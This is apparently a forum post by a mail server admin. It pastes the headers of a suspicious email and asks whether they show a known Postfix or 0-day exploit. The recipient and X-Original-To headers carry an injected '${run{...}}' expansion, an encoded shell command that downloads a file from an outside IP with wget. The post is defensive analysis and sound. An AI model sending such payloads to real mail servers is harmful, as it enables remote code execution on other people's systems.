Today I found an extremely unusual email in my catchall inbox, without subject sender or content. My Gmail client for android reported the mail was sent by me.

I had fear that someone had guessed my robust password and that this mail came from my MTA, so I rushed-look at both email itself and mail logs. That did not happen.

I found what looks to me like an attempt to exploit a mail server vulnerability I and fail2ban never heard of.

Received: 20
Received: 19
Received: 22
Received: 21
Received: 18
Received: 15
Received: 14
Received: 17
Received: 16
Received: 29
Received: 28
Received: 31
Received: 30
Received: 27
Received: 24
Received: 23
Received: 26
Received: 25
Received: 13
Received: 3
Received: 4
Received: 5
Received: 2
Received: from example.org (localhost [127.0.0.1])
    by example.org (Postfix) with ESMTP id 1FA141219E6
    for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:52 +0200 (CEST)
Received: from service.com (unknown [xx.xx.xx.xx])
    by example.org (Postfix) with SMTP
    for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:50 +0200 (CEST)
Received: 1
Received: 10
Received: 11
Received: 12
Received: 9
Received: 6
Received: 7
Received: 8
Message-ID: <000701d52665$301b5e30$90521a90$@Domain>
MIME-Version: 1.0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook 16.0
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f52.143.140.67x22}}@example.org
Authentication-Results: example.org; 
X-DKIM-Authentication-Results: none
Thread-Index: AQHpZJXbpRRTStcSuHvAzmVQv5xuOw==

Analysis: the sender tried to alter the mail destination in order to launch the following (encoded) command and exploit a potential remote code execution vulnerability

X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f52.143.140.67x22}}@example.org


x2Fbinx2Fsht-ctx22wgetx20[IP ADDR]x2ftmpx2f[IP ADDR]x22
/bin/sht-ct#wget [IP ADDR]/tmp/[IP ADDR]#

Despite sht-ct is something I don't recall (or mistranslated from manual url-decoding), I start from the assumption that all attackers know I use postfix as MTA on my server.

Question:

I would like to know if this is a recent known or 0-day vulnerability that may affect me and, other than looking carefully at top and crontab, if it is possible to assess if I have been pwned by what clearly resembles an attack.

I just rushed to update Postfix, but without knowledge of the vulnerability (and if it ever affects Postfix) I have little clue.

The reason I rush asking security questions on MTAs is that, in my opinion/experience, a hacked mail server box can start to cause lots of damage in extremely short time than other kind of services.